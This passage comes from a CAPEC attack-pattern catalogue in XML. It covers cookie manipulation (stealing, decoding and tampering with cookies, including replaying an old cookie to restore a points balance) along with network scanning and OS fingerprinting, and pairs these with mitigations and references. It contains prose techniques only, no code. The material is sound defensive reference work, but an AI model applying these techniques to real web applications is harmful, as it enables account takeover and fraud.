												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Steal cookie via a cross-site scripting
												attack.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>Guess cookie contents if it contains
												predictable information.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Cookies used in web application.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Cookies not used in web application.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Cookie captured by
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Cookie cannot be captured by
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>To prevent network
												sniffing, cookies should be transmitted over HTTPS
												and not plain HTTP. To enforce this on the client
												side, the "secure" flag should be set on cookies
												(javax.servlet.http.Cookie.setSecure() in Java,
												secure flag in setcookie() function in php,
												etc.).</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="-1" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Obtain sensitive information from
											cookie</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker may be able to get sensitive
												information from the cookie. The web application
												developers may have assumed that cookies are not
												accessible by end users, and thus, may have put
												potentially sensitive information in them.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>If cookie shows any signs of being encoded
												using a standard scheme such as base64, decode
												it.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Analyze the cookie's contents to determine
												whether it contains any sensitive
												information.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Cookie only contains a random session ID
												(e.g. ASPSESSIONID, JSESSIONID, etc.)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Cookie contains sensitive information (e.g.
												"ACCTNO=0234234", or "DBIP=0xaf112a22" -- database
												server's IP address).</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>Cookie's contents cannot be
												deciphered.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Cookie contains sensitive
												information that developer did not intent the end
												user to see.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Cookie does not contain any
												sensitive information.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Do not store sensitive
												information in cookies unless they are encrypted
												such that only the server can decrypt
												them.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Modify cookie to subvert security
											controls.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker may be able to modify or replace
												cookies to bypass security controls in the
												application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Modify logical parts of cookie and send it
												back to server to observe the effects.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Modify numeric parts of cookie
												arithmetically and send it back to server to
												observe the effects.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Modify cookie bitwise and send it back to
												server to observe the effects.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Replace cookie with an older legitimate
												cookie and send it back to server to observe the
												effects. This technique would be helpful in cases
												where the cookie contains a "points balance" for a
												given user where the points have some value. The
												user may spend his points and then replace his
												cookie with an older one to restore his
												balance.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Subversion of security controls
												on server</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Cookie reset by
												server</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Web server logs
												contain many messages indicating that invalid
												cookies were received from
												client.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Cookies should not
												contain any information that the user is not
												allowed to modify, unless that information is
												never expected to change. In the latter case, the
												integrity of the cookie should be protected using
												a digital signature or a message authentication
												code.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target server software must be a HTTP daemon that relies on
						cookies.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Time and State</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>There are two main attack vectors for exploiting poorly protected
							session variables like cookies. One is the local machine itself which
							can be exploited directly at the physical level or indirectly through
							XSS and phising. In addition, the man in the middle attack relies on a
							network sniffer, proxy, or other intermediary to intercept the subject's
							credentials and use them to impersonate the digital subject on the host.
							The issue is that once the credentials are intercepted, impersonation is
							trivial for the attacker to accomplish if no other protection mechanisms
							are in place.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To overwrite session cookie data, and submit targeted attacks via
							HTTP</Text>
						<Text>High: Exploiting a remote buffer overflow generated by attack</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to send HTTP request containing cookie to server</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use input validation for cookies</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Generate and validate MAC for cookies</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use SSL/TLS to protect cookie in transit </Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure the web server implements all relevant security
						patches, many exploitable buffer overflows are fixed in patches issued for
						the software. </Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>HTTP cookie</Text>
			</Injection_Vector>
			<Payload>
				<Text> Malicious input delivered through cookie in HTTP Request.</Text>
			</Payload>
			<Activation_Zone>
				<Text> Client software, such as a browser and its component libraries, or an
					intermediary</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Block Block_Nature="List">
						<Text>1. Enables attacker to leverage state stored in cookie</Text>
						<Text>2. Enables attacker a vector to attack web server and platform</Text>
					</Block>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>565<!--Reliance on Cookies without Validation and Integrity Checking--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>302<!--Authentication Bypass by Assumed-Immutable Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>113<!--Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>539<!--Information Leak Through Persistent Cookies--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>315<!--Plaintext Storage in a Cookie--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>384<!--Session Fixation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>472<!--External Control of Assumed-Immutable Web Parameter--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>724<!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>642<!--External Control of Critical State Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>39<!--Manipulating Opaque Client-based Data Tokens--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>21<!--Exploitation of Session Variables, Resource IDs and other Trusted Credentials--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>255<!--Data Structure Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>117<!--Data Interception Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="310" Name="Scanning for Vulnerable Software" Pattern_Abstraction="Meta"
			Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in scanning activity to find vulnerable software
						versions or types, such as operating system versions or network services.
						Vulnerable or exploitable network configurations, such as improperly
						firewalled systems, or misconfigured systems in the DMZ or external network,
						provide windows of opportunity for an attacker. Common types of vulnerable
						software include unpatched operating systems or services (e.g FTP, Telnet,
						SMTP, SNMP) running on open ports that the attacker has identified.
						Attackers usually begin probing for vulnerable software once the external
						network has been port scanned and potential targets have been
						revealed.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="Any">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="User Datagram Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="lnternet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>None</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text> Probing requires the ability to interactively send and receive data from a
					target, whereas passive listening requires a sufficient understanding of the
					protocol to analyze a preexisting channel of communication. </Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>286<!--Network Reconnaissance--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="311" Name="Fingerprinting Remote Operating Systems"
			Pattern_Abstraction="Standard" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in fingerprinting activity to determine the type or
						version of the operating system of the remote target. Any platform, device,
						or server that communicates over the network will conform to one or more
						protocols, commonly TCP/IP and related protocols. Fingerprinting remote
						operating systems involves taking an "active" or a "passive" approach.
						Active approaches to fingerprinting involve sending data packets that break
						the logical or semantic rules of a protocol and observing operating system
						response to artificial inputs. Passive approaches involve listening to the
						communication of one or more nodes and identifying the operating system or
						firmware of the devices involved based on the structure of their
						messages.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="Any">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="User Datagram Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="lnternet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>None</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text> Probing requires the ability to interactively send and receive data from a
					target, whereas passive listening requires a sufficient understanding of the
					protocol to analyze a preexisting channel of communication. </Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>310<!--Scanning for Vulnerable Software--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure</Reference_Author>
					<Reference_Author>Joel Scambray</Reference_Author>
					<Reference_Author>George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Chapter 8. Remote OS Detection</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC,
						ISBN:978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="312" Name="Active OS Fingerprinting" Pattern_Abstraction="Standard"
			Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in activity to detect the operating system or firmware
						version of a remote target by interrogating a device, server, or platform
						with a probe designed to solicit behavior that will reveal information about
						the operating systems or firmware in the environment. Operating System
						detection is possible because implementations of common protocols (Such as
						IP or TCP) differ in distinct ways. While the implementation differences are
						not sufficient to 'break' compatibility with the protocol the differences
						are detectable because the target will respond in unique ways to specific
						probing activity that breaks the semantic or logical rules of packet
						construction for a protocol. Different operating systems will have a unique
						response to the anomalous input, providing the basis to fingerprint the OS
						behavior. This type of OS fingerprinting can distinguish between operating
						system types and versions. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="Any">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="User Datagram Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="lnternet Control Messaging Protocol"
										RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send and receive packets from a remote target, or the
						ability to passively monitor network communications. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text> Any type of active probing that involves non-standard packet headers requires
					the use of raw sockets, which is not available on particular operating systems
					(Microsoft Windows XP SP 2, for example). Raw socket manipulation on unix/linux
					requires root privileges. Installing a listener on the network requires access
					to at least one host, and the privileges to interface with the network interface
					card. </Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
